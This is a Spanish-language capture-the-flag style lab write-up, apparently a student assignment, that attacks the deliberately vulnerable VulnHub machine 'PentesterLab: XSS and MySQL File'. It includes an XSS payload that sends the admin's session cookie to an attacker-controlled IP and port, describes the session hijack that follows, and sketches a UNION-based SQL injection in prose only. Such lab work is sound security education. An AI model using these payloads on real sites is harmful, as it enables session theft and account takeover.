Descarga la aplicación para disfrutar aún más
Vista previa del material en texto
Ataque cross site scripting (xss) En esta actividad llevaremos a cabo un ataque cross site scripting (xss) en el que un actor malintencionado logra inyectar un script malicioso en páginas o aplicaciones web. Para llevar a cabo este ejercicio, se utilizará la máquina virtua-vl “PENTESTER LAB: XSS AND MYSQL FILE” de vulnhub y el navegador FireFox. Paso 1. Comenzamos el ataque tratando de inyectar un script básico como <script>alert(‘xss’)</script> , en cada una de las entradas del formulario, con el objetivo de encontrar la entrada que permite ejecutarlo. La figura 1 muestra que en la entrada “Text”, se encuentra la vulnerabilidad. Figura 1: inyección de un script la entrada “Text” del formulario. Paso 2. Al realizar el submit, el script se ejecutará y mostrará el mensaje “xss” , tal como se representa en la figura 2. A través de este Script básico, podemos confirmar de manera concluyente que esta aplicación web es vulnerable. Figura 2: ejecución del script inyectado. Paso 3 La máquina virtual alberga un script que actúa como un usuario administrador que inicia una sesión periódica. Como atacantes, nuestro objetivo es obtener la cookie de la sesión de este usuario mediante cross site scripting. Para lograrlo, emplearemos el siguiente script en la entrada “Text”, tal como se representa en la figura 3. Se debe sustituir la url por tu IP privada. <script>document.write('<img src="http:192.168.10.14:8585'+document.cookie+' "/>');</script> Figura 3: inyección de un script para obtener cookies en la entrada “Text” del formulario. Al realizar el submit, se ejecutará el primer blog que subimos al inyectar el script básico que mostraba un alert de JS, tal como se representa en la figura 4. En la figura 5, se muestra un icono de archivo desconocido debido a la subida de un blog de naturaleza desconocida. Figura 4: ejecución de un alert a causa del primer script básico inyectado anteriormente. Figura 5: Comentario de naturaleza desconocido al inyectar un script de cross site scripting. Paso 4. Usando python3, iniciamos un servidor http local en el puerto 8585 con el propósito de escuchar las solicitudes al mismo y, por lo tanto, recibir las cookies que se transmiten al servidor a través del protocolo http en el puerto especifico, tal como se representa en la figura 6. Figura 6: ejecutando el comando http.server para iniciar un servidor http. La figura 7 muestra como nuestro servidor local recibe la cookie de sesión del usuario administrador. Figura 7: servidor http local recibiendo la cookie de sesión del usuario administrador. Paso 5 En el formulario “Login” mostrado en la figura 8, procederemos a realizar una inspección para ubicar la opción “Storage” en el menú de la herramienta “inspector” del navegador. En la sección “cookies” cambiamos el campo “Value” por la cookie de la sesión que robaremos, tal como se representa en la figura 9. Figura 8: formulario login para iniciar sesión como administrador. Figura 9: sección de cookies del inspector en el navegador Firefox. Por último, accedemos a la ruta de /admin, tal como se muestra en la figura 10. Como se muestra en la figura 11, se representa el formulario de “administrador de mi blog” al cual el navegador nos redirigirá debido a que habíamos obtenido una cookie de sesión del administrador. Figura 10: ruta de administrador. Figura 11: Formulario de administración del Blog. Inyeección SQL en Mysql En esta actividad, llevaremos a cabo una inyección de SQL, el cual tiene como objetivo explotar la vulnerabilidad que permite la inyección de sentencias desde la URL con el fin de acceder y capturar información de una base de datos. En la figura 12 se representa el formulario que, como actores maliciosos debemos inyectarle sql. Figura 12: formulario para atacar. En la barra de navegación de Firefox, ejecutaremos la sentencia “order by” para determinar el número de campos que tiene la tabla actual, tal como se representa en la figura 13. Figura 13: ejecutando order by de 4 columnas en la navegación. Figura 13: sentencia order by para hallar el número de columnas que tiene una tabla. Ejecutaremos la sentencia que se ve en la figura 14 para visualizar las tablas que forman parte del esquema de la base de datos. Se puede observar que existe varias tablas, pero nuestro objetivo es la tabla “users”. Figura 14: sentencia UNION para visualizar las tablas del esquema de la base de datos. Ejecutaremos la sentencia que se muestra en la figura 15 para visualizar los campos de la tabla “users”. Figura 15: sentencia UNION para visualizar los campos de la tabla “users”. Por último, ejecutamos la última sentencia que se muestra en la figura 15 para visualizar los nombres de usuario junto con sus contraseñas de la tabla “users”. Figura 15: sentencia UNION para visualizar los nombres de usuario junto con sus contraseñas. Finalmente, iniciamos sesión como administrador como se muestra en la figura 16. Figura 15: iniciando sesión como administrador.
Compartir